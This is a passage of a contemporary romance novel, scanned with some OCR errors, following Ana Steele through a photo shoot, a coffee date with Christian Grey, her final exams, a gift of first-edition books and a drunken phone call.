suite, however, as apparent- +ly Mr. Grey is already occupying the largest one in the building. An over-keen marketing +executive shows us up to the suite - he’s terribly young and very nervous for some reason. + +I suspect it’s Kate’s beauty and commanding manner that disarms him, because he’s putty +in her hands. The rooms are elegant, understated, and opulently furnished. + +It’s nine. We have half an hour to set up. Kate is in full flow. + +“Jose, I think we’ll shoot against that wall, do you agree?” She doesn’t wait for his +reply. “Travis, clear the chairs. Ana, could you ask housekeeping to bring up some refresh- +ments? And let Grey know where we are.” + +Yes, Mistress. She is so domineering. I roll my eyes, but do as I’m told. + +Half an hour later, Christian Grey walks into our suite. + +Holy Crap! He’s wearing a white shirt, open at the collar, and grey flannel pants that +hang from his hips. His unruly hair is still damp from a shower. My mouth goes dry +looking at him... he’s so freaking hot. Grey is followed into the suite by a man in his +mid-thirties, all buzz-cut and stubble in a sharp dark suit and tie who stands silently in the +corner. His hazel eyes watch us impassively. + +“Miss Steele, we meet again.” Grey extends his hand, and I shake it, blinking rapidly. +Oh my... he really is, quite... wow. As I touch his hand, I’m aware of that delicious cur- +rent running right through me, lighting me up, making me blush, and I’m sure my erratic +breathing must be audible. + +“Mr. Grey, this is Katherine Kavanagh,” I mutter, waving a hand toward Kate who +comes forward, looking him squarely in the eye. + +“The tenacious Miss Kavanagh. How do you do?” He gives her a small smile, look- +ing genuinely amused. “I trust you’re feeling better? Anastasia said you were unwell last +week.” + +“I’m fine, thank you, Mr. Grey.” She shakes his hand firmly without batting an eyelid. + +I remind myself that Kate has been to the best private schools in Washington. Her family +has money, and she’s grown up confident and sure of her place in the world. She doesn’t +take any crap. I am in awe of her. + +“Thank you for taking the time to do this.” She gives him a polite, professional smile. + +“It’s a pleasure,” he answers, turning his gray gaze on me, and I flush, again. Damn it. + + +“This is Jose Rodriguez, our photographer,” I say, grinning at Jose who smiles with +affection back at me. His eyes cool when he looks from me to Grey. + +“Mr. Grey,” he nods. + +“Mr. Rodriguez,” Grey’s expression changes too as he appraises Jose. + +“Where would you like me?” Grey asks him. His tone sounds vaguely threatening. But +Katherine is not about to let Jose run the show. + +“Mr. Grey - if you could sit here, please? Be careful of the lighting cables. And then +we’ll do a few standing, too.” She directs him to a chair set up against the wall. + +Travis switches on the lights, momentarily blinding Grey, and mutters an apology. + +Then Travis and I stand back and watch as Jose proceeds to snap away. He takes several +photographs hand-held, asking Grey to turn this way, then that, to move his arm, then put +it down again. Moving to the tripod, Jose takes several more, while Grey sits and poses, +patiently and naturally, for about twenty minutes. My wish has come true: I can stand and +admire Grey from not-so-afar. Twice our eyes lock, and I have to tear myself away from +his cloudy gaze. + +“Enough sitting.” Katherine wades in again. “Standing, Mr. Grey?” she asks. + +He stands, and Travis scurries in to remove the chair. The shutter on Jose’s Nikon +starts clicking again. + +“I think we have enough,” Jose announces five minutes later. + +“Great,” says Kate. “Thank you again, Mr. Grey.” She shakes his hand, as does Jose. + +“I look forward to reading the article, Miss Kavanagh,” murmurs Grey, and turns to +me, standing by the door. “Will you walk with me, Miss Steele?” he asks. + +“Sure,” I say, completely thrown. I glance anxiously at Kate, who shrugs at me. I +notice Jose scowling behind her. + +“Good day to you all,” says Grey as he opens the door, standing aside to allow me out + +first. + +Holy hell... what’s this about? What does he want? I pause in the hotel corridor, fidg- +eting nervously as Grey emerges from the room followed by Mr. Buzz-Cut in his sharp suit. + +“I’ll call you, Taylor,” he murmurs to Buzz-Cut. Taylor wanders back down the cor- +ridor, and Grey turns his burning gray gaze to me. Crap... have I done something wrong? + +“I wondered if you would join me for coffee this morning.” + +My heart slams into my mouth. A date? Christian Grey is asking me on a date. He’s +asking if you want a coffee. Maybe he thinks you haven’t woken up yet, my subconscious +whines at me in a sneering mood again. I clear my throat trying to control my nerves. + +“I have to drive everyone home,” I murmur apologetically, twisting my hands and +fingers in front of me. + +“TAYLOR,” he calls, making me jump. Taylor, who had been retreating down the cor- +ridor, turns and heads back toward us. + +“Are they based at the university?” Grey asks, his voice soft and inquiring. I nod, too +stunned to speak. + +“Taylor can take them. He’s my driver. We have a large 4x4 here, so he’ll be able to +take the equipment too.” + +“Mr. Grey?” Taylor asks when he reaches us, giving nothing away. + +“Please, can you drive the photographer, his assistant, and Miss Kavanagh back home?” + + +“Certainly, sir,” Taylor replies. + +“There. Now can you join me for coffee?” Grey smiles as if it’s a done deal. + +I frown at him. + +“Urn - Mr. Grey, err - this really... look, Taylor doesn’t have to drive them home.” I +flash a brief look at Taylor, who remains stoically impassive. “I’ll swap vehicles with Kate, +if you give me a moment.” + +Grey smiles a dazzling, unguarded, natural, all-teeth-showing, glorious smile. Oh +my. . . and he opens the door of the suite so I can re-enter. I scoot around him to enter the +room, finding Katherine in deep discussion with Jose. + +“Ana, I think he definitely likes you,” she says with no preamble whatsoever. Jose +glares at me with disapproval. “But I don’t trust him,” she adds. I raise my hand up in the +hope that she’ll stop talking. By some miracle, she does. + +“Kate, if you take the Beetle, can I take your car?” + +“Why?” + +“Christian Grey has asked me to go for coffee with him.” + +Her mouth pops open. Speechless Kate! I savor the moment. She grabs me by my arm +and drags me into the bedroom that’s off the living area of the suite. + +“Ana, there’s something about him.” Her tone is full of warning. “He’s gorgeous, I +agree, but I think he’s dangerous. Especially to someone like you.” + +“What do you mean, someone like me?” I demand, affronted. + +“An innocent like you, Ana. You know what I mean,” she says a little irritated. I flush. + +“Kate, it’s just coffee. I’m starting my exams this week, and I need to study, so I won’t +be long.” + +She purses her lips as if considering my request. Finally, she fishes her car keys out of +her pocket and hands them to me. I hand her mine. + +“I’ll see you later. Don’t be long, or I’ll send out search and rescue.” + +“Thanks.” I hug her. + +I emerge from the suite to find Christian Grey waiting, leaning up against the wall, +looking like a male model in a pose for some glossy high-end magazine. + +“Okay, let’s do coffee,” I murmur, flushing a beet red. + +He grins. + +“After you, Miss Steele.” He stands up straight, holding his hand out for me to go first. + +I make my way down the corridor, my knees shaky, my stomach full of butterflies, and +my heart in my mouth thumping a dramatic uneven beat. I am going to have coffee with +Christian Grey... and I hate coffee. + +We walk together down the wide hotel corridor to the elevators. What should I say to +him? My mind is suddenly paralyzed with apprehension. What are we going to talk about? +What on Earth do I have in common with him? His soft, warm voice startles me from my +reverie. + +“How long have you known Katherine Kavanagh?” + +Oh, an easy questions for starters. + +“Since our freshman year. She’s a good friend.” + +“Hmm,” he replies, non-committal. What is he thinking? + + +At the elevators, he presses the call button, and the bell rings almost immediately. The +doors slide open revealing a young couple in a passionate clinch inside. Surprised and +embarrassed, they jump apart, staring guiltily in every direction but ours. Grey and I step +into the elevator. + +I am struggling to maintain a straight face, so I gaze down at the floor, feeling my +cheeks turning pink. When I peek up at Grey through my lashes, he has a hint of a smile +on his lips, but it’s very hard to tell. The young couple says nothing, and we travel down to +the first floor in embarrassed silence. We don’t even have trashy piped music to distract us. + +The doors open and, much to my surprise, Grey takes my hand, clasping it with his +long cool fingers. I feel the current run through me, and my already rapid heartbeat accel- +erates. As he leads me out of the elevator, we can hear the suppressed giggles of the couple +erupting behind us. Grey grins. + +“What is it about elevators?” he mutters. + +We cross the expansive, bustling lobby of the hotel toward the entrance but Grey avoids +the revolving door, and I wonder if that’s because he’d have to let go of my hand. + +Outside, it’s a mild May Sunday. The sun is shining and the traffic is light. Grey turns +left and strolls to the corner, where we stop waiting for the lights of the pedestrian crossing +to change. He’s still holding my hand. I’m in the street, and Christian Grey is holding +my hand. No one has ever held my hand. I feel giddy, and I tingle all over. I attempt to +smother the ridiculous grin that threatens to split my face in two. Try to be cool, Ana, my +subconscious implores me. The green man appears, and we’re off again. + +We walk four blocks before we reach the Portland Coffee House, where Grey releases +me to hold the door open so I can step inside. + +“Why don’t you choose a table, while I get the drinks. What would you like?” he asks, +polite as ever. + +“I’ll have... urn - English Breakfast tea, bag out.” + +He raises his eyebrows. + +“No coffee?” + +“I’m not keen on coffee.” + +He smiles. + +“Okay, bag out tea. Sugar?” + +For a moment, I’m stunned, thinking it’s an endearment, but fortunately my subcon- +scious kicks in with pursed lips. No, stupid - do you take sugar? + +“No thanks.” I stare down at my knotted fingers. + +“Anything to eat?” + +“No thank you.” I shake my head, and he heads to the counter. + +I surreptitiously gaze at him from beneath my lashes as he stands in line waiting to +be served. I could watch him all day... he’s tall, broad-shouldered, and slim, and the way +those pants hang from his hips... Oh my. Once or twice he runs his long, graceful fingers +through his now dry but still disorderly hair. Hmm... I’d like to do that. The thought comes +unbidden into my mind, and my face flames. I bite my lip and stare down at my hands +again not liking where my wayward thoughts are headed. + +“Penny for your thoughts?” Grey is back, startling me. + + +I go crimson. I was just thinking about running my fingers through your hair and +wondering if it would feel soft to touch. I shake my head. He’s carrying a tray, which he +sets down on the small, round, birch-veneer table. He hands me a cup and saucer, a small +teapot, and a side plate bearing a lone teabag labeled ‘Twinings English Breakfast’ - my +favorite. He has a coffee which bears a wonderful leaf-pattern imprinted in the milk. How +do they do that? I wonder idly. He’s also bought himself a blueberry muffin. Putting the +tray aside, he sits opposite me and crosses his long legs. He looks so comfortable, so at +ease with his body, I envy him. Here’s me, all gawky and uncoordinated, barely able to get +from A to B without falling flat on my face. + +“Your thoughts?” he prompts me. + +“This is my favorite tea.” My voice is quiet, breathy. I simply can’t believe I’m sitting +opposite Christian Grey in a coffee shop in Portland. He frowns. He knows I’m hiding +something. I pop the teabag into the teapot and almost immediately fish it out again with +my teaspoon. As I place the used teabag back on the side plate, he cocks his head gazing +quizzically at me. + +“I like my tea black and weak,” I mutter as an explanation. + +“I see. Is he your boyfriend?” + +Whoa... What? + +“Who?” + +“The photographer. Jose Rodriguez.” + +I laugh, nervous but curious. What gave him that impression? + +“No. Jose’s a good friend of mine, that’s all. Why did you think he was my boyfriend?” + +“The way you smiled at him, and he at you.” His gray gaze holds mine. He’s so un- +nerving. I want to look away but I’m caught - spellbound. + +“He’s more like family,” I whisper. + +Grey nods slightly, seemingly satisfied with my response, and glances down at his +blueberry muffin. His long fingers deftly peel back the paper, and I watch, fascinated. + +“Do you want some?” he asks, and that amused, secret smile is back. + +“No thanks.” I frown and stare down at my hands again. + +“And the boy I met yesterday, at the store. He’s not your boyfriend?” + +“No. Paul’s just a friend. I told you yesterday.” Oh, this is getting silly. “Why do you +ask?” + +“You seem nervous around men.” + +Holy crap, that’s personal. I’m just nervous around you, Grey. + +“I find you intimidating.” I flush scarlet, but mentally pat myself on the back for my +candor, and gaze at my hands again. I hear his sharp intake of breath. + +“You should find me intimidating,” he nods. “You’re very honest. Please don’t look +down. I like to see your face.” + +Oh. I glance at him, and he gives me an encouraging but wry smile. + +“It gives me some sort of clue what you might be thinking,” he breathes. “You’re a +mystery, Miss Steele. + +Mysterious? Me? + +“There’s nothing mysterious about me.” + +“I think you’re very self-contained,” he murmurs. + + +Am I? Wow... how am I managing that? This is bewildering. Me, self-contained? + +No Way. + +“Except when you blush, of course, which is often. I just wish I knew what you were +blushing about.” He pops a small piece of muffin into his mouth and starts to chew it +slowly, not taking his eyes off me. And as if on cue, I blush. Crap! + +“Do you always make such personal observations?” + +“I hadn’t realized I was. Have I offended you?” He sounds surprised. + +“No,” I answer truthfully. + +“Good.” + +“But you’re very high-handed,” I retaliate quietly. + +He raises his eyebrows and, if I’m not mistaken, he flushes slightly too. + +“I’m used to getting my own way, Anastasia,” he murmurs. “In all things.” + +“I don’t doubt it. Why haven’t you asked me to call you by your first name?” I’m sur- +prised by my audacity. Why has this conversation become so serious? This isn’t going the +way I thought it was going to go. I can’t believe I’m feeling so antagonistic towards him. + +It’s like he’s trying to warn me off. + +“The only people who use my given name are my family and a few close friends. + +That’s the way I like it.” + +Oh. He still hasn’t said, ‘Call me Christian.’ He is a control freak, there’s no other +explanation, and part of me is thinking maybe it would have been better if Kate had in- +terviewed him. Two control freaks together. Plus of course she’s almost blonde - well, +strawberry blonde - like all the women in his office. And she’s beautiful, my subconscious +reminds me. I don’t like the idea of Christian and Kate. I take a sip of my tea, and Grey +eats another small piece of his muffin. + +“Are you an only child?” he asks. + +Whoa... he keeps changing direction. + +“Yes.” + +“Tell me about your parents.” + +Why does he want to know this? It’s so dull. + +“My mom lives in Georgia with her new husband Bob. My stepdad lives in Monte- +sano.” + +“Your father?” + +“My father died when I was a baby.” + +“I’m sorry,” he mutters and a fleeting troubled look crosses his face. + +“I don’t remember him.” + +“And your mother remarried?” + +I snort. + +“You could say that.” + +He frowns at me. + +“You’re not giving much away, are you?” he says dryly, rubbing his chin as if in deep +thought. + +“Neither are you.” + +“You’ve interviewed me once already, and I can recollect some quite probing questions +then.” He smirks at me. + + +Holy shit. He’s remembering the ‘gay’ question. Once again, I’m mortified. In years +to come, I know, I’ll need intensive therapy to not feel this embarrassed every time I recall +the moment. I start babbling about my mother - anything to block that memory. + +“My mom is wonderful. She’s an incurable romantic. She’s currently on her fourth +husband.” + +Christian raises his eyebrows in surprise. + +“I miss her,” I continue. “She has Bob now. I just hope he can keep an eye on her and +pick up the pieces when her harebrained schemes don’t go as planned.” I smile fondly. I +haven’t seen my mom for so long. Christian is watching me intently, taking occasional sips +of his coffee. I really shouldn’t look at his mouth. It’s unsettling. Those lips. + +“Do you get along with your stepfather?” + +“Of course. I grew up with him. He’s the only father I know.” + +“And what’s he like?” + +“Ray? He’s... taciturn.” + +“That’s it?” Grey asks, surprised. + +I shrug. What does this man expect? My life story? + +“Taciturn like his stepdaughter,” Grey prompts. + +I refrain from rolling my eyes at him. + +“He likes soccer - European soccer especially - and bowling, and fly-fishing, and mak- +ing furniture. He’s a carpenter. Ex-army.” I sigh. + +“You lived with him?” + +“Yes. My mom met Husband Number Three when I was fifteen. I stayed with Ray.” + +He frowns as if he doesn’t understand. + +“You didn’t want to live with your mom?” he asks. + +I blush. This really is none of his business. + +“Husband Number Three lived in Texas. My home was in Montesano. And... you +know my mom was newly married.” I stop. My mom never talks about Husband Number +Three. Where is Grey going with this? This is none of his business. Two can play at this +game. + +“Tell me about your parents,” I ask. + +He shrugs. + +“My dad’s a lawyer, my mom is a pediatrician. They live in Seattle.” + +Oh... he’s had an affluent upbringing. And I wonder about a successful couple who +adopt three kids, and one of them turns into a beautiful man who takes on the business +world and conquers it single-handed. What drove him to be that way? His folks must be +proud. + +“What do your siblings do?” + +“Elliot’s in construction, and my little sister is in Paris, studying cookery under some +renowned French chef.” His eyes cloud with irritation. He doesn’t want to talk about his +family or himself. + +“I hear Paris is lovely,” I murmur. Why doesn’t he want to talk about his family? Is it +because he’s adopted? + +“It’s beautiful. Have you been?” he asks, his irritation forgotten. + +“I’ve never left mainland USA.” So now we’re back to banalities. What is he hiding? + + +“Would you like to go?” + +“To Paris?” I squeak. This has thrown me - who wouldn’t want to go to Paris? “Of +course,” I concede. “But it’s England that I’d really like to visit.” + +He cocks his head to one side, running his index finger across his lower lip... +“Because?” + +I blink rapidly. Concentrate, Steele. + +“It’s the home of Shakespeare, Austen, the Bronte sisters, Thomas Hardy. I’d +see the places that inspired those people to write such wonderful books.” + +All this talk of literary greats reminds me that I should be studying. I glance at +watch. + +“I’d better go. I have to study.” + +“For your exams?” + +“Yes. They start Tuesday.” + +“Where’s Miss Kavanagh’s car?” + +“In the hotel parking lot.” + +“I’ll walk you back.” + +“Thank you for the tea, Mr. Grey.” + +He smiles his odd I’ve got a whopping big secret smile. + +“You’re welcome, Anastasia. It’s my pleasure. Come,” he commands, and holds his +hand out to me. I take it, bemused, and follow him out of the coffee shop. + +We stroll back to the hotel, and I’d like to say it’s in companionable silence. He at +least looks his usual calm, collected self. As for me, I’m desperately trying to gauge how +our little coffee morning has gone. I feel like I’ve been interviewed for a position, but I’m +not sure what it is. + +“Do you always wear jeans?” he asks out of the blue. + +“Mostly.” + +He nods. We’re back at the intersection, across the road from the hotel. My mind is +reeling. What an odd question... And I’m aware that our time together is limited. This is +it. This was it, and I’ve completely blown it, I know. Perhaps he has someone. + +“Do you have a girlfriend?” I blurt out. Holy crap - 1 just said that out loud? + +His lips quirk up in a half-smile, and he looks down at me. + +“No, Anastasia. I don’t do the girlfriend thing,” he says softly. + +Oh... what does that mean? He’s not gay? Oh, maybe he is - crap! He must have +lied to me in his interview. And for a moment, I think he’s going to follow on with some +explanation, some clue to this cryptic statement - but he doesn’t. I have to go. I have to +try to reassemble my thoughts. I have to get away from him. I walk forward, and I trip, +stumbling headlong onto the road. + +“Shit, Ana!” Grey cries. He tugs the hand that he’s holding so hard that I fall back +against him just as a cyclist whips past, narrowly missing me, heading the wrong way up +this one-way street. + +It all happens so fast - one minute I’m falling, the next I’m in his arms, and he’s hold- +ing me tightly against his chest. .1 inhale his clean, vital scent. He smells of fresh laundered +linen and some expensive body-wash. Oh my, it’s intoxicating. I inhale deeply. + + +oh my. + +like to +my + + +“Are you okay?” he whispers. He has one arm around me, clasping me to him, while +the fingers of his other hand softly trace my face, gently probing, examining me. His +thumb brushes my lower lip, and I hear his breath hitch. He’s staring into my eyes, and I +hold his anxious, burning gaze for a moment or maybe it’s forever... but eventually, my at- +tention is drawn to his beautiful mouth. Oh my. And for the first time in twenty-one years, + +I want to be kissed. I want to feel his mouth on me. + + +Chapter Four + + +Kiss me damn it! I implore him, but I can’t move. I’m paralyzed with a strange, unfamiliar +need, completely captivated by him. I’m staring at Christian Grey’s exquisitely sculptured +mouth, mesmerized, and he’s looking down at me, his gaze hooded, his eyes darkening. +He’s breathing harder than usual, and I’ve stopped breathing altogether. I’m in your arms. +Kiss me, please. He closes his eyes, takes a deep breath, and gives me a small shake of his +head as if in answer to my silent question. When he opens his eyes again, it’s with some +new purpose, a steely resolve. + +“Anastasia, you should steer clear of me. I’m not the man for you,” he whispers. + +What? Where is this coming from? Surely I should be the judge of that. I frown up at him, +and my head swims with rejection. + +“Breathe, Anastasia, breathe. I’m going to stand you up and let you go,” he says qui- +etly, and he gently pushes me away. + +Adrenaline has spiked through my body, from the near miss with the cyclist or the +heady proximity to Christian, leaving me wired and weak. NO! My psyche screams as +he pulls away, leaving me bereft. He has his hands on my shoulders, holding me at arm’s +length, watching my reactions carefully. And the only thing I can think is that I wanted +to be kissed, made it pretty damned obvious, and he didn’t do it. He doesn’t want me. He +really doesn’t want me. I have royally screwed up the coffee morning. + + +“I’ve got this,” I breathe, finding my voice. “Thank you,” I mutter awash with humili- +ation. How could I have misread the situation between us so utterly? I need to get away +from him. + +“For what?” he frowns. He hasn’t taken his hands off me. + +“For saving me,” I whisper. + +“That idiot was riding the wrong way. I’m glad I was here. I shudder to think what +could have happened to you. Do you want to come and sit down in the hotel for a mo- +ment?” He releases me, his hands by his sides, and I’m standing in front of him feeling +like a fool. + +With a shake, I clear my head. I just want to go. All my vague, unarticulated hopes +have been dashed. He doesn’t want me. What was I thinking? I scold myself. What would +Christian Grey want with you? My subconscious mocks me. I wrap my arms around my- +self and turn to face the road and note with relief that the green man has appeared. I quickly +make my way across, conscious that Grey is behind me. Outside the hotel, I turn briefly to +face him but cannot look him in the eye. + +“Thanks for the tea and doing the photo shoot,” I murmur. + +“Anastasia... I... ” He stops, and the anguish in his voice demands my attention, so I +peer unwillingly up at him. His gray eyes are bleak as he runs his hand through his hair. + +He looks torn, frustrated, his expression stark, all his careful control has evaporated. + +“What, Christian?” I snap irritably after he says - nothing. I just want to go. I need to +take my fragile, wounded pride away and somehow nurse it back to health. + +“Good luck with your exams,” he murmurs. + +Huh? This is why he looks so desolate? This is the big send off? Just to wish me luck +in my exams? + +“Thanks.” I can’t disguise the sarcasm in my voice. “Goodbye, Mr. Grey.” I turn on +my heel, vaguely amazed that I don’t trip, and without giving him a second glance, I disap- +pear down the sidewalk toward the underground garage. + +Once underneath the dark, cold concrete of the garage with its bleak fluorescent light, + +I lean against the wall and put my head in my hands. What was I thinking? Unbidden and +unwelcome tears pool in my eyes. Why am I crying? I sink to the ground, angry at myself +for this senseless reaction. Drawing up my knees, I fold in on myself. I want to make +myself as small as possible. Perhaps this nonsensical pain will be smaller the smaller I am. +Placing my head on my knees, I let the irrational tears fall unrestrained. I am crying over +the loss of something I never had. How ridiculous. Mourning something that never was - +my dashed hopes, dashed dreams, and my soured expectations. + +I have never been on the receiving end of rejection. Okay... so I was always one of the +last to be picked for basketball or volleyball - but I understood that - running and doing +something else at the same time like bouncing or throwing a ball is not my thing. I am a +serious liability in any sporting field. + +Romantically, though, I’ve never put myself out there, ever. A lifetime of insecurity +- I’m too pale, too skinny, too scruffy, uncoordinated, my long list of faults goes on. So +I have always been the one to rebuff any would be admirers. There was that guy in my +chemistry class who liked me, but no one has ever sparked my interest - no one except +Christian damn Grey. Maybe I should be kinder to the likes of Paul Clayton and Jose Ro- + + +driguez, though I’m sure neither of them have been found sobbing alone in dark places. +Perhaps I just need a good cry. + +Stop! Stop Now! - My subconscious is metaphorically screaming at me, arms folded, +leaning on one leg and tapping her foot in frustration. Get in the car, go home, do your +studying. Forget about him... Now! And stop all this self-pitying, wallowing crap. + +I take a deep, steadying breath and stand up. Get it together Steele. I head for Kate’s +car, wiping the tears off my face as I do. I will not think of him again. I can just chalk this +incident up to experience and concentrate on my exams. + + +Kate is sitting at the dining table at her laptop when I arrive. Her welcoming smile fades +when she sees me. + +“Ana what’s wrong?” + +Oh no... not the Katherine Kavanagh Inquisition. I shake my head at her in a back-off +now Kavanagh way - but I might as well be dealing with a blind, deaf mute. + +“You’ve been crying,” she has an exceptional gift for stating the damned obvious +sometimes. “What did that bastard do to you?” she growls, and her face - jeez, she’s scary. + +“Nothing Kate.” That’s actually the problem. The thought brings a wry smile to my +face. + +“Then why have you been crying? You never cry,” she says, her voice softening. She +stands, her green eyes brimming with concern. She puts her arms around me and hugs me. +I need to say something just to get her to back off. + +“I was nearly knocked over by a cyclist.” It’s the best that I can do, but it distracts her +momentarily from... him. + +“Jeez Ana - are you okay? Were you hurt?” She holds me at arm’s length and does a +quick visual check-up on me. + +“No. Christian saved me,” I whisper. “But I was quite shaken.” + +“I’m not surprised. How was coffee? I know you hate coffee.” + +“I had tea. It was fine, nothing to report really. I don’t know why he asked me.” + +“He likes you Ana.” She drops her arms. + +“Not anymore. I won’t be seeing him again.” Yes, I manage to sound matter of fact. + +“Oh?” + +Crap. She’s intrigued. I head into the kitchen so that she can’t see my face. + +“Yeah... he’s a little out of my league Kate,” I say as dryly as I can manage. + +“What do you mean?” + +“Oh Kate, it’s obvious.” I whirl round and face her as she stands in the kitchen door- +way. + +“Not to me,” she says. “Okay, he’s got more money than you, but then he has more +money than most people in America!” + +“Kate he’s- ” I shrug. + +“Ana! For heaven’s sake - how many times must I tell you? You’re a total babe,” she +interrupts me. Oh no. She’s off on this tirade again. + +“Kate, please. I need to study.” I cut her short. She frowns. + +“Do you want to see the article? It’s finished. Jose took some great pictures.” + + +Do I need a visual reminder of the beautiful Christian l-don’t-want-you Grey? + +“Sure,” I magic a smile on to my face and stroll over to the laptop. And there he is, +staring at me in black and white, staring at me and finding me lacking. + +I pretend to read the article, all the time meeting his steady gray gaze, searching the +photo for some clue as to why he’s not the man for me - his own words to me. And it’s +suddenly, blindingly obvious. He’s too gloriously good-looking. We are poles apart and +from two very different worlds. I have a vision of myself as Icarus flying too close to the +sun and crashing and burning as a result. His words make sense. He’s not the man for me. +This is what he meant, and it makes his rejection easier to accept... almost. I can live with +this. I understand. + +“Very good Kate,” I manage. “I’m going to study.” I am not going to think about him +again for now, I vow to myself, and opening my revision notes, I start to read. + + +It’s only when I’m in bed, trying to sleep, that I allow my thoughts to drift through my +strange morning. I keep coming back to the ‘I don’t do the girlfriend thing’ quote, and I’m +angry that I didn’t pounce on this information sooner, when I was in his arms mentally beg- +ging him with every fiber of my being to kiss me. He’d said it there and then. He didn’t +want me as a girlfriend. I turn on to my side. Idly, I wonder if perhaps he’s celibate? I +close my eyes and begin to drift. Maybe he’s saving himself. Well not for you, my sleepy +subconscious has a final swipe at me before unleashing itself on my dreams. + +And that night, I dream of gray eyes, leafy patterns in milk, and I’m running through +dark places with eerie strip lighting, and I don’t know if I’m running toward something or +away from it... it’s just not clear. + + + + +I put my pen down. Finished. My final exam is over. I feel the Cheshire cat grin +spread over my face. It’s probably the first time all week that I’ve smiled. It’s Friday, and +we shall be celebrating tonight, really celebrating. I might even get drunk! I’ve never been +drunk before. I glance across the sports hall at Kate, and she’s still scribbling furiously, +five minutes to the end. This is it, the end of my academic career. I shall never have to sit +in rows of anxious, isolated students again. Inside I’m doing graceful cartwheels around +my head, knowing full well that’s the only place I can do graceful cartwheels. Kate stops +writing and puts her pen down. She glances across at me, and I catch her Cheshire cat +smile too. + +We head back to our apartment together in her Mercedes, refusing to discuss our final +paper. Kate is more concerned about what she’s going to wear to the bar this evening. I +am busily fishing around in my purse for my keys. + + +“Ana, there’s a package for you.” Kate is standing on the steps up to the front door +holding a brown paper parcel. Odd. I haven’t ordered anything from Amazon recently. + +Kate gives me the parcel and takes my keys to open the front door. It’s addressed to Miss +Anastasia Steele. There’s no sender’s address or name. Perhaps it’s from my mom or Ray. + +“It’s probably from my folks.” + +“Open it!” Kate is excited as she heads into the kitchen for our ‘Exams are finished +hurrah Champagne’. + +I open the parcel, and inside I find a half leather box containing three seemingly identi- +cal old cloth-covered books in mint condition and a plain white card. Written on one side, +in black ink in neat cursive handwriting, is: + + +Why didn ’t you teCC me there was +danger? Why didn ’t you warn me? + +Cadies hjiow what to guard against, +Secause they read noveCs that teCC them + + +I recognize the quote from Tess. I am stunned by the irony as I’ve just spent three +hours writing about the novels of Thomas Hardy in my final examination. Perhaps there +is no irony... perhaps it’s deliberate. I inspect the books closely, three volumes of Tess of +the D’Urbervilles. I open the front cover. Written in an old typeface on the front plate is: + + +‘London: Jack R. Osgood, Mcllvaine and Co., 1891.’ + +Holy shit - they are first editions. They must be worth a fortune, and I know immedi- +ately who’s sent them. Kate is at my shoulder gazing at the books. She picks up the card. + +“First Editions,” I whisper. + +“No.” Kate’s eyes are wide with disbelief. “Grey?” + +I nod. + +“Can’t think of anyone else.” + +“What does this card mean?” + +“I have no idea. I think it’s a warning - honestly he keeps warning me off. I have no +idea why. It’s not like I’m beating his door down.” I frown. + +“I know you don’t want to talk about him, Ana, but he’s seriously into you. Warnings +or no.” + +I have not let myself dwell on Christian Grey for the past week. Okay... so his gray +eyes are still haunting my dreams, and I know it will take an eternity to expunge the feel of +his arms around me and his wonderful fragrance from my brain. Why has he sent me this? +He told me that I wasn’t for him. + + + +“I’ve found one Tess first edition for sale in New York at $1 4,000. But yours looks +in much better condition. They must have cost more.” Kate is consulting her good friend +Google. + +“This quote - Tess says it to her mother after Alec D’Urberville has had his wicked +way with her.” + +“I know,” muses Kate. “What is he trying to say?” + +“I don’t know, and I don’t care. I can’t accept these from him. I’ll send them back with +an equally baffling quote from some obscure part of the book.” + +“The bit where Angel Clare says fuck off?” Kate asks with a completely straight face. + +“Yes, that bit.” I giggle. I love Kate, she’s so loyal and supportive. I repack the books +and leave them on the dining table. Kate hands me a glass of champagne. + +“To the end of exams and our new life in Seattle,” she grins. + +“To the end of exams, our new life in Seattle, and excellent results.” We clink glasses +and drink. + + +The bar is loud and hectic, full of soon to be graduates out to get trashed. Jose joins us. He +won’t graduate for another year, but he’s in the mood to party and gets us into the spirit of +our newfound freedom by buying a pitcher of margaritas for us all. As I down my fifth, I +know this is not a good idea on top of the champagne. + +“So what now Ana?” Jose shouts at me over the noise. + +“Kate and I are moving to Seattle. Kate’s parents have bought a condo there for her.” + +“Dios mio, how the other half live. But you’ll be back for my show.” + +“Of course, Jose, I wouldn’t miss it for the world.” I smile, and he puts his arm around +my waist and pulls me close. + +“It means a lot to me that you’ll be there Ana,” he whispers in my ear. “Another mar- +garita?” + +“Jose Luis Rodriguez - are you trying to get me drunk? Because I think it’s working.” + +I giggle. “I think I’d better have a beer. I’ll go get us a pitcher.” + +“More drink, Ana!” Kate bellows. + +Kate has the constitution of an ox. She’s got her arm draped over Levi, one of our fel- +low English students and her usual photographer on her student newspaper. He’s given up +taking photos of the drunkenness that surrounds him. He only has eyes for Kate. She’s all +tiny camisole, tight jeans, and high heels, hair piled high with tendrils hanging down softly +around her face, her usual stunning self. Me, I’m more of a Converse and t-shirt kind of +girl, but I’m wearing my most flattering jeans. I move out of Jose’s hold and get up from +our table. Whoa. Head spin. I have to grab the back of the chair. Tequila based cocktails +are not a good idea. + +I make my way to the bar and decide that I should visit the powder room while I am on +my feet. Good thinking, Ana. I stagger off through the crowd. Of course, there’s a line, but +at least it’s quiet and cool in the corridor. I reach for my cell phone to relieve the boredom +of waiting in line. Hmm... Who did I last call? Was it Jose? Before that a number I don’t +recognize. Oh yes. Grey, I think this is his number. I giggle. I have no idea what the time +is, maybe I’ll wake him. Perhaps he can tell me why he sent me those books and the cryptic + + +message. If he wants me to stay away, he should leave me alone. I suppress a drunken grin +and hit the automatic re-dial. He answers on the second ring. + +“Anastasia?” He’s surprised to hear from me. Well, frankly, I’m surprised to ring him. +Then my befuddled brain registers... how does he know it’s me? + +“Why did you send me the books?” I slur at him. + +“Anastasia, are you okay? You sound strange.” His voice is filled with concern. + +“I’m not the strange one, you are,” I accuse. There - that told him, my courage fuelled +by alcohol. + +“Anastasia, have you been drinking?” + +“What’s it to you?” + +“I’m - curious. Where are you?” + +“In a bar.” + +“Which bar?” He sounds exasperated. + +“A bar in Portland.” + +“How are you getting home?” + +“I’ll find a way.” This conversation is not going how I expected. + +“Which bar are you in?” + +“Why did you send me the books, Christian?” + +“Anastasia, where are you, tell me now.” His tone is so, so dictatorial, his usual control +freak. I imagine him as an old time movie director wearing jodhpurs, holding an old fash- +ioned megaphone and a riding crop. The image makes me laugh out loud. + +“You’re so... domineering,” I giggle. + +“Ana, so help me, where the fuck are you?” + +Christian Grey is swearing at me. I giggle again. “I’m in Portland... s’a long way +from Seattle.” + +“Where in Portland?” + +“Goodnight, Christian.” + +“Ana!” + +I hang up. Ha! Though he didn’t tell me about the books. I frown. Mission not ac- +complished. I am really 